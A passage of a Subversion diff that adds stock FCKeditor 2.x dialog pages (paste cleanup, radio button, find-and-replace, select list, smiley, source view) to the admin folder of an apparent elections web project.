+	// Remove Lang attributes
+	html = html.replace(/<(\w[^>]*) lang=([^ |>]*)([^>]*)/gi, "<$1$3") ;
+	
+	html = html.replace( /<SPAN\s*>(.*?)<\/SPAN>/gi, '$1' ) ;
+	
+	html = html.replace( /<FONT\s*>(.*?)<\/FONT>/gi, '$1' ) ;
+
+	// Remove XML elements and declarations
+	html = html.replace(/<\\?\?xml[^>]*>/gi, "") ;
+	
+	// Remove Tags with XML namespace declarations: <o:p><\/o:p>
+	html = html.replace(/<\/?\w+:[^>]*>/gi, "") ;
+	
+	// Remove comments [SF BUG-1481861].
+	html = html.replace(/<\!--.*-->/g, "") ;
+	
+	html = html.replace( /<H\d>\s*<\/H\d>/gi, '' ) ;
+
+	html = html.replace( /<H1([^>]*)>/gi, '<div$1><b><font size="6">' ) ;
+	html = html.replace( /<H2([^>]*)>/gi, '<div$1><b><font size="5">' ) ;
+	html = html.replace( /<H3([^>]*)>/gi, '<div$1><b><font size="4">' ) ;
+	html = html.replace( /<H4([^>]*)>/gi, '<div$1><b><font size="3">' ) ;
+	html = html.replace( /<H5([^>]*)>/gi, '<div$1><b><font size="2">' ) ;
+	html = html.replace( /<H6([^>]*)>/gi, '<div$1><b><font size="1">' ) ;
+
+	html = html.replace( /<\/H\d>/gi, '<\/font><\/b><\/div>' ) ;
+	
+	html = html.replace( /<(U|I|STRIKE)>&nbsp;<\/\1>/g, '&nbsp;' ) ;
+
+	// Remove empty tags (three times, just to be sure).
+	html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+	html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+	html = html.replace( /<([^\s>]+)(\s[^>]*)?>\s*<\/\1>/g, '' ) ;
+
+	// Transform <P> to <DIV>
+	var re = new RegExp( "(<P)([^>]*>.*?)(<\/P>)", "gi" ) ;	// Different because of a IE 5.0 error
+	html = html.replace( re, "<div$2<\/div>" ) ;
+	
+	// Fix relative anchor URLs (IE automatically adds the current page URL).
+	re = new RegExp( window.location + "#", "g" ) ;
+	html = html.replace( re, '#') ;
+
+	return html ;
+}
+
+	</script>
+</head>
+<body style="overflow: hidden">
+	<table cellspacing="0" cellpadding="0" width="100%" border="0" style="height: 98%">
+		<tr>
+			<td>
+				<span fcklang="DlgPasteMsg2">Please paste inside the following box using the keyboard
+					(<strong>Ctrl+V</strong>) and hit <strong>OK</strong>.</span>
+				<br />
+				&nbsp;
+			</td>
+		</tr>
+		<tr>
+			<td valign="top" height="100%" style="border-right: #000000 1px solid; border-top: #000000 1px solid;
+				border-left: #000000 1px solid; border-bottom: #000000 1px solid">
+				<textarea id="txtData" cols="80" rows="5" style="border: #000000 1px; display: none;
+					width: 99%; height: 98%"></textarea>
+				<iframe id="frmData" src="javascript:void(0)" height="98%" width="99%" frameborder="0"
+					style="border-right: #000000 1px; border-top: #000000 1px; display: none; border-left: #000000 1px;
+					border-bottom: #000000 1px; background-color: #ffffff"></iframe>
+			</td>
+		</tr>
+		<tr id="oWordCommands">
+			<td>
+				<table border="0" cellpadding="0" cellspacing="0" width="100%">
+					<tr>
+						<td nowrap="nowrap">
+							<input id="chkRemoveFont" type="checkbox" checked="checked" />
+							<label for="chkRemoveFont" fcklang="DlgPasteIgnoreFont">
+								Ignore Font Face definitions</label>
+							<br />
+							<input id="chkRemoveStyles" type="checkbox" />
+							<label for="chkRemoveStyles" fcklang="DlgPasteRemoveStyles">
+								Remove Styles definitions</label>
+						</td>
+						<td align="right" valign="top">
+							<input type="button" fcklang="DlgPasteCleanBox" value="Clean Up Box" onclick="CleanUpBox()" />
+						</td>
+					</tr>
+				</table>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_radiobutton.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_radiobutton.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_radiobutton.html	(revision 44)
@@ -0,0 +1,103 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_radiobutton.html
+ * 	Radio Button dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Radio Button Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	if ( oActiveEl && oActiveEl.tagName.toUpperCase() == 'INPUT' && oActiveEl.type == 'radio' )
+	{
+		GetE('txtName').value		= oActiveEl.name ;
+		GetE('txtValue').value		= oEditor.FCKBrowserInfo.IsIE ? oActiveEl.value : GetAttribute( oActiveEl, 'value' ) ;
+		GetE('txtSelected').checked	= oActiveEl.checked ;
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'INPUT' ) ;
+		oActiveEl.type = 'radio' ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+	}
+
+	if ( GetE('txtName').value.length > 0 )
+		oActiveEl.name = GetE('txtName').value ;
+		
+	if ( oEditor.FCKBrowserInfo.IsIE )
+		oActiveEl.value = GetE('txtValue').value ;
+	else
+		SetAttribute( oActiveEl, 'value', GetE('txtValue').value ) ;
+
+	var bIsChecked = GetE('txtSelected').checked ;
+	SetAttribute( oActiveEl, 'checked', bIsChecked ? 'checked' : null ) ;	// For Firefox
+	oActiveEl.checked = bIsChecked ;
+
+	return true ;
+}
+
+		</script>
+	</head>
+	<body style="OVERFLOW: hidden" scroll="no">
+		<table height="100%" width="100%">
+			<tr>
+				<td align="center">
+					<table border="0" cellpadding="0" cellspacing="0" width="80%">
+						<tr>
+							<td>
+								<span fckLang="DlgCheckboxName">Name</span><br>
+								<input type="text" size="20" id="txtName" style="width: 100%">
+							</td>
+						</tr>
+						<tr>
+							<td>
+								<span fckLang="DlgCheckboxValue">Value</span><br>
+								<input type="text" size="20" id="txtValue" style="width: 100%">
+							</td>
+						</tr>
+						<tr>
+							<td><input type="checkbox" id="txtSelected"><label for="txtSelected" fckLang="DlgCheckboxSelected">Checked</label></td>
+						</tr>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_replace.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_replace.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_replace.html	(revision 44)
@@ -0,0 +1,153 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_replace.html
+ * 	"Replace" dialog box window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ * 		Abdul-Aziz A. Al-Oraij (aziz.oraij.com)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta content="noindex, nofollow" name="robots" />
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+function OnLoad()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage( document ) ;
+
+	window.parent.SetAutoSize( true ) ;
+
+	oEditor.FCKUndo.SaveUndoStep() ;
+}
+
+function btnStat(frm)
+{
+	document.getElementById('btnReplace').disabled = 
+		document.getElementById('btnReplaceAll').disabled = 
+			( document.getElementById('txtFind').value.length == 0 ) ;
+}
+
+function ReplaceTextNodes( parentNode, regex, replaceValue, replaceAll, hasFound )
+{
+	for ( var i = 0 ; i < parentNode.childNodes.length ; i++ )
+	{
+		var oNode = parentNode.childNodes[i] ;
+		if ( oNode.nodeType == 3 )
+		{
+			var sReplaced = oNode.nodeValue.replace( regex, replaceValue ) ;
+			if ( oNode.nodeValue != sReplaced )
+			{
+				oNode.nodeValue = sReplaced ;
+				if ( ! replaceAll )
+					return true ;
+				hasFound = true ;
+			}
+		}
+
+		hasFound = ReplaceTextNodes( oNode, regex, replaceValue, replaceAll, hasFound ) ;
+		if ( ! replaceAll && hasFound )
+			return true ;
+	}
+	
+	return hasFound ;
+}
+
+function GetRegexExpr()
+{
+	var sExpr = EscapeRegexString( document.getElementById('txtFind').value ) ;
+
+	if ( document.getElementById('chkWord').checked )
+		sExpr = '\\b' + sExpr + '\\b' ;
+
+	return sExpr ;
+}
+
+function GetCase() 
+{
+	return ( document.getElementById('chkCase').checked ? '' : 'i' ) ;
+}
+
+function GetReplacement()
+{
+	return document.getElementById('txtReplace').value.replace( /\$/g, '$$$$' ) ;
+}
+
+function EscapeRegexString( str )
+{
+	return str.replace( /[\\\^\$\*\+\?\{\}\.\(\)\!\|\[\]\-]/g, '\\$&' ) ;
+}
+
+function Replace()
+{
+	var oRegex = new RegExp( GetRegexExpr(), GetCase() ) ;
+	if ( !ReplaceTextNodes( oEditor.FCK.EditorDocument.body, oRegex, GetReplacement(), false, false ) )
+		alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+}
+
+function ReplaceAll()
+{
+	var oRegex = new RegExp( GetRegexExpr(), GetCase() + 'g' ) ;
+	if ( !ReplaceTextNodes( oEditor.FCK.EditorDocument.body, oRegex, GetReplacement(), true, false ) )
+		alert( oEditor.FCKLang.DlgFindNotFoundMsg ) ;
+	window.parent.Cancel() ;
+}
+	</script>
+</head>
+<body onload="OnLoad()" style="overflow: hidden">
+	<table cellspacing="3" cellpadding="2" width="100%" border="0">
+		<tr>
+			<td nowrap="nowrap">
+				<label for="txtFind" fcklang="DlgReplaceFindLbl">
+					Find what:</label>
+			</td>
+			<td width="100%">
+				<input id="txtFind" onkeyup="btnStat(this.form)" style="width: 100%" tabindex="1"
+					type="text" />
+			</td>
+			<td>
+				<input id="btnReplace" style="width: 100%" disabled="disabled" onclick="Replace();"
+					type="button" value="Replace" fcklang="DlgReplaceReplaceBtn" />
+			</td>
+		</tr>
+		<tr>
+			<td valign="top" nowrap="nowrap">
+				<label for="txtReplace" fcklang="DlgReplaceReplaceLbl">
+					Replace with:</label>
+			</td>
+			<td valign="top">
+				<input id="txtReplace" style="width: 100%" tabindex="2" type="text" />
+			</td>
+			<td>
+				<input id="btnReplaceAll" disabled="disabled" onclick="ReplaceAll()" type="button"
+					value="Replace All" fcklang="DlgReplaceReplAllBtn" />
+			</td>
+		</tr>
+		<tr>
+			<td valign="bottom" colspan="3">
+				&nbsp;<input id="chkCase" tabindex="3" type="checkbox" /><label for="chkCase" fcklang="DlgReplaceCaseChk">Match
+					case</label>
+				<br />
+				&nbsp;<input id="chkWord" tabindex="4" type="checkbox" /><label for="chkWord" fcklang="DlgReplaceWordChk">Match
+					whole word</label>
+			</td>
+		</tr>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_select.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_select.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_select.html	(revision 44)
@@ -0,0 +1,172 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_select.html
+ * 	Select dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html>
+	<head>
+		<title>Select Properties</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta content="noindex, nofollow" name="robots">
+		<script src="common/fck_dialog_common.js" type="text/javascript"></script>
+		<script type="text/javascript" src="fck_select/fck_select.js"></script>
+		<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+// Gets the document DOM
+var oDOM = oEditor.FCK.EditorDocument ;
+
+var oActiveEl = oEditor.FCKSelection.GetSelectedElement() ;
+
+var oListText ;
+var oListValue ;
+
+window.onload = function()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+
+	oListText	= document.getElementById( 'cmbText' ) ;
+	oListValue	= document.getElementById( 'cmbValue' ) ;
+
+	if ( oActiveEl && oActiveEl.tagName == 'SELECT' )
+	{
+		GetE('txtName').value		= oActiveEl.name ;
+		GetE('txtSelValue').value	= oActiveEl.value ;
+		GetE('txtLines').value		= GetAttribute( oActiveEl, 'size' ) ;
+		GetE('chkMultiple').checked	= oActiveEl.multiple ;
+
+		// Load the actual options
+		for ( var i = 0 ; i < oActiveEl.options.length ; i++ )
+		{
+			var sText	= oActiveEl.options[i].innerHTML ;
+			var sValue	= oActiveEl.options[i].value ;
+
+			AddComboOption( oListText, sText, sText ) ;
+			AddComboOption( oListValue, sValue, sValue ) ;
+		}
+	}
+	else
+		oActiveEl = null ;
+
+	window.parent.SetOkButton( true ) ;
+}
+
+function Ok()
+{
+	var sSize = GetE('txtLines').value ;
+	if ( sSize == null || isNaN( sSize ) || sSize <= 1 )
+		sSize = '' ;
+
+	if ( !oActiveEl )
+	{
+		oActiveEl = oEditor.FCK.EditorDocument.createElement( 'SELECT' ) ;
+		oActiveEl = oEditor.FCK.InsertElementAndGetIt( oActiveEl ) ;
+	}
+
+	SetAttribute( oActiveEl, 'name'	, GetE('txtName').value ) ;
+	SetAttribute( oActiveEl, 'size'	, sSize ) ;
+	oActiveEl.multiple = ( sSize.length > 0 && GetE('chkMultiple').checked ) ;
+
+	// Remove all options.
+	while ( oActiveEl.options.length > 0 )
+		oActiveEl.remove(0) ;
+
+	// Add all available options.
+	for ( var i = 0 ; i < oListText.options.length ; i++ )
+	{
+		var sText	= oListText.options[i].value ;
+		var sValue	= oListValue.options[i].value ;
+		if ( sValue.length == 0 ) sValue = sText ;
+
+		var oOption = AddComboOption( oActiveEl, sText, sValue, oDOM ) ;
+
+		if ( sValue == GetE('txtSelValue').value )
+		{
+			SetAttribute( oOption, 'selected', 'selected' ) ;
+			oOption.selected = true ;
+		}
+	}
+
+	return true ;
+}
+
+		</script>
+	</head>
+	<body style='OVERFLOW: hidden' scroll='no'>
+		<table width="100%" height="100%">
+			<tr>
+				<td>
+					<table width="100%">
+						<tr>
+							<td nowrap><span fckLang="DlgSelectName">Name</span>&nbsp;</td>
+							<td width="100%" colSpan="2"><input id="txtName" style="width: 100%" type="text"></td>
+						</tr>
+						<tr>
+							<td nowrap><span fckLang="DlgSelectValue">Value</span>&nbsp;</td>
+							<td width="100%" colSpan="2"><input id="txtSelValue" style="width: 100%; BACKGROUND-COLOR: buttonface" type="text" readonly></td>
+						</tr>
+						<tr>
+							<td nowrap><span fckLang="DlgSelectSize">Size</span>&nbsp;</td>
+							<td nowrap><input id="txtLines" type="text" size="2" value="">&nbsp;<span fckLang="DlgSelectLines">lines</span></td>
+							<td nowrap align="right"><input id="chkMultiple" name="chkMultiple" type="checkbox"><label for="chkMultiple" fckLang="DlgSelectChkMulti">Allow
+									multiple selections</label></td>
+						</tr>
+					</table>
+					<br>
+					<hr style="POSITION: absolute">
+					<span style="LEFT: 10px; POSITION: relative; TOP: -7px" class="BackColor">&nbsp;<span fckLang="DlgSelectOpAvail">Available
+							Options</span>&nbsp;</span>
+					<table width="100%">
+						<tr>
+							<td width="50%"><span fckLang="DlgSelectOpText">Text</span><br>
+								<input id="txtText" style="width: 100%" type="text" name="txtText">
+							</td>
+							<td width="50%"><span fckLang="DlgSelectOpValue">Value</span><br>
+								<input id="txtValue" style="width: 100%" type="text" name="txtValue">
+							</td>
+							<td vAlign="bottom"><input onclick="Add();" type="button" fckLang="DlgSelectBtnAdd" value="Add"></td>
+							<td vAlign="bottom"><input onclick="Modify();" type="button" fckLang="DlgSelectBtnModify" value="Modify"></td>
+						</tr>
+						<tr>
+							<td rowSpan="2"><select id="cmbText" style="width: 100%" onchange="GetE('cmbValue').selectedIndex = this.selectedIndex;Select(this);"
+									size="5" name="cmbText"></select>
+							</td>
+							<td rowSpan="2"><select id="cmbValue" style="width: 100%" onchange="GetE('cmbText').selectedIndex = this.selectedIndex;Select(this);"
+									size="5" name="cmbValue"></select>
+							</td>
+							<td vAlign="top" colSpan="2">
+							</td>
+						</tr>
+						<tr>
+							<td vAlign="bottom" colSpan="2"><input style="width: 100%" onclick="Move(-1);" type="button" fckLang="DlgSelectBtnUp" value="Up">
+								<br>
+								<input style="width: 100%" onclick="Move(1);" type="button" fckLang="DlgSelectBtnDown"
+									value="Down">
+							</td>
+						</tr>
+						<TR>
+							<TD vAlign="bottom" colSpan="4"><INPUT onclick="SetSelectedValue();" type="button" fckLang="DlgSelectBtnSetValue" value="Set as selected value">&nbsp;&nbsp;
+								<input onclick="Delete();" type="button" fckLang="DlgSelectBtnDelete" value="Delete"></TD>
+						</TR>
+					</table>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_select/fck_select.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_select/fck_select.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_select/fck_select.js	(revision 44)
@@ -0,0 +1,165 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_select.js
+ * 	Scripts for the fck_select.html page.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function Select( combo )
+{
+	var iIndex = combo.selectedIndex ;
+
+	oListText.selectedIndex		= iIndex ;
+	oListValue.selectedIndex	= iIndex ;
+
+	var oTxtText	= document.getElementById( "txtText" ) ;
+	var oTxtValue	= document.getElementById( "txtValue" ) ;
+
+	oTxtText.value	= oListText.value ;
+	oTxtValue.value	= oListValue.value ;
+}
+
+function Add()
+{
+	var oTxtText	= document.getElementById( "txtText" ) ;
+	var oTxtValue	= document.getElementById( "txtValue" ) ;
+
+	AddComboOption( oListText, oTxtText.value, oTxtText.value ) ;
+	AddComboOption( oListValue, oTxtValue.value, oTxtValue.value ) ;
+
+	oListText.selectedIndex = oListText.options.length - 1 ;
+	oListValue.selectedIndex = oListValue.options.length - 1 ;
+
+	oTxtText.value	= '' ;
+	oTxtValue.value	= '' ;
+
+	oTxtText.focus() ;
+}
+
+function Modify()
+{
+	var iIndex = oListText.selectedIndex ;
+
+	if ( iIndex < 0 ) return ;
+
+	var oTxtText	= document.getElementById( "txtText" ) ;
+	var oTxtValue	= document.getElementById( "txtValue" ) ;
+
+	oListText.options[ iIndex ].innerHTML	= oTxtText.value ;
+	oListText.options[ iIndex ].value		= oTxtText.value ;
+
+	oListValue.options[ iIndex ].innerHTML	= oTxtValue.value ;
+	oListValue.options[ iIndex ].value		= oTxtValue.value ;
+
+	oTxtText.value	= '' ;
+	oTxtValue.value	= '' ;
+
+	oTxtText.focus() ;
+}
+
+function Move( steps )
+{
+	ChangeOptionPosition( oListText, steps ) ;
+	ChangeOptionPosition( oListValue, steps ) ;
+}
+
+function Delete()
+{
+	RemoveSelectedOptions( oListText ) ;
+	RemoveSelectedOptions( oListValue ) ;
+}
+
+function SetSelectedValue()
+{
+	var iIndex = oListValue.selectedIndex ;
+	if ( iIndex < 0 ) return ;
+
+	var oTxtValue = document.getElementById( "txtSelValue" ) ;
+
+	oTxtValue.value = oListValue.options[ iIndex ].value ;
+}
+
+// Moves the selected option by a number of steps (also negative)
+function ChangeOptionPosition( combo, steps )
+{
+	var iActualIndex = combo.selectedIndex ;
+
+	if ( iActualIndex < 0 )
+		return ;
+
+	var iFinalIndex = iActualIndex + steps ;
+
+	if ( iFinalIndex < 0 )
+		iFinalIndex = 0 ;
+
+	if ( iFinalIndex > ( combo.options.length - 1 ) )
+		iFinalIndex = combo.options.length - 1 ;
+
+	if ( iActualIndex == iFinalIndex )
+		return ;
+
+	var oOption = combo.options[ iActualIndex ] ;
+	var sText	= oOption.innerHTML ;
+	var sValue	= oOption.value ;
+
+	combo.remove( iActualIndex ) ;
+
+	oOption = AddComboOption( combo, sText, sValue, null, iFinalIndex ) ;
+
+	oOption.selected = true ;
+}
+
+// Remove all selected options from a SELECT object
+function RemoveSelectedOptions(combo)
+{
+	// Save the selected index
+	var iSelectedIndex = combo.selectedIndex ;
+
+	var oOptions = combo.options ;
+
+	// Remove all selected options
+	for ( var i = oOptions.length - 1 ; i >= 0 ; i-- )
+	{
+		if (oOptions[i].selected) combo.remove(i) ;
+	}
+
+	// Reset the selection based on the original selected index
+	if ( combo.options.length > 0 )
+	{
+		if ( iSelectedIndex >= combo.options.length ) iSelectedIndex = combo.options.length - 1 ;
+		combo.selectedIndex = iSelectedIndex ;
+	}
+}
+
+// Add a new option to a SELECT object (combo or list)
+function AddComboOption( combo, optionText, optionValue, documentObject, index )
+{
+	var oOption ;
+
+	if ( documentObject )
+		oOption = documentObject.createElement("OPTION") ;
+	else
+		oOption = document.createElement("OPTION") ;
+
+	if ( index != null )
+		combo.options.add( oOption, index ) ;
+	else
+		combo.options.add( oOption ) ;
+
+	oOption.innerHTML = optionText.length > 0 ? optionText : '&nbsp;' ;
+	oOption.value     = optionValue ;
+
+	return oOption ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_smiley.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_smiley.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_smiley.html	(revision 44)
@@ -0,0 +1,101 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_smiley.html
+ * 	Smileys (emoticons) dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<title></title>
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<meta name="robots" content="noindex, nofollow" />
+	<style type="text/css">
+		.Hand
+		{
+			cursor: pointer;
+			cursor: hand;
+		}
+	</style>
+	<script type="text/javascript">
+
+var oEditor = window.parent.InnerDialogLoaded() ;
+
+window.onload = function ()
+{
+	// First of all, translate the dialog box texts
+	oEditor.FCKLanguageManager.TranslatePage(document) ;
+}
+
+function InsertSmiley( url )
+{
+	var oImg = oEditor.FCK.CreateElement( 'IMG' ) ;
+	oImg.src = url ;
+	oImg.setAttribute( '_fcksavedurl', url ) ;
+	
+	// For long smileys list, it seams that IE continues loading the images in
+	// the background when you quickly select one image. so, let's clear
+	// everything before closing.
+	document.body.innerHTML = '' ;
+
+	window.parent.Cancel() ;
+}
+
+function over(td)
+{
+	td.className = 'LightBackground Hand' ;
+}
+
+function out(td)
+{
+	td.className = 'DarkBackground Hand' ;
+}
+	</script>
+</head>
+<body scroll="no">
+	<table cellpadding="2" cellspacing="2" align="center" border="0" width="100%" height="100%">
+		<script type="text/javascript">
+
+var FCKConfig = oEditor.FCKConfig ;
+
+var sBasePath	= FCKConfig.SmileyPath ;
+var aImages		= FCKConfig.SmileyImages ;
+var iCols		= FCKConfig.SmileyColumns ;
+var iColWidth	= parseInt( 100 / iCols ) ;
+
+var i = 0 ;
+while (i < aImages.length)
+{
+	document.write( '<tr>' ) ;
+	for(var j = 0 ; j < iCols ; j++)
+	{
+		if (aImages[i])
+		{
+			var sUrl = sBasePath + aImages[i] ;
+			document.write( '<td width="' + iColWidth + '%" align="center" class="DarkBackground Hand" onclick="InsertSmiley(\'' + sUrl.replace(/'/g, "\\'" ) + '\')" onmouseover="over(this)" onmouseout="out(this)">' ) ;
+			document.write( '<img src="' + sUrl + '" border="0" />' ) ;
+		}
+		else
+			document.write( '<td width="' + iColWidth + '%" class="DarkBackground">&nbsp;' ) ;
+		document.write( '<\/td>' ) ;
+		i++ ;
+	}
+	document.write('<\/tr>') ;
+}
+
+		</script>
+	</table>
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_source.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_source.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_source.html	(revision 44)
@@ -0,0 +1,61 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_source.html
+ * 	Source editor dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+	<head>
+		<title>Source</title>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<meta name="robots" content="noindex, nofollow">
+		<link href="common/fck_dialog_common.css" rel="stylesheet" type="text/css" />
+		<script language="javascript">
+		
+var oEditor		= window.parent.InnerDialogLoaded() ;
+var FCK			= oEditor.FCK ;
+var FCKConfig	= oEditor.FCKConfig ;
+
+window.onload = function()
+{
+	// EnableXHTML and EnableSourceXHTML has been deprecated
+//	document.getElementById('txtSource').value = ( FCKConfig.EnableXHTML && FCKConfig.EnableSourceXHTML ? FCK.GetXHTML( FCKConfig.FormatSource ) : FCK.GetHTML( FCKConfig.FormatSource ) ) ;
+	document.getElementById('txtSource').value = FCK.GetXHTML( FCKConfig.FormatSource ) ;
+
+	// Activate the "OK" button.
+	window.parent.SetOkButton( true ) ;
+}
+
+//#### The OK button was hit.
+function Ok()
+{
+	if ( oEditor.FCKBrowserInfo.IsIE )
+		oEditor.FCKUndo.SaveUndoStep() ;
+			
+	FCK.SetHTML( document.getElementById('txtSource').value, false ) ;
+	
+	return true ;
+}
+		</script>
+	</head>
+	<body scroll="no" style="OVERFLOW: hidden">
+		<table width="100%" height="100%">
+			<tr>
+				<td height="100%"><textarea id="txtSource" dir="ltr" style="PADDING-RIGHT: 5px; PADDING-LEFT: 5px; FONT-SIZE: 14px; PADDING-BOTTOM: 5px; width: 100%; PADDING-TOP: 5px; FONT-FAMILY: Monospace; HEIGHT: 100%">Loading. Please wait...</textarea></td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_specialchar.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_specialchar.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/dialog/fck_specialchar.html	(revision 44)
@@ -0,0 +1,109 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fck_specialchar.html
+ * 	Special Chars Selector dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
+<html>
+	<head>
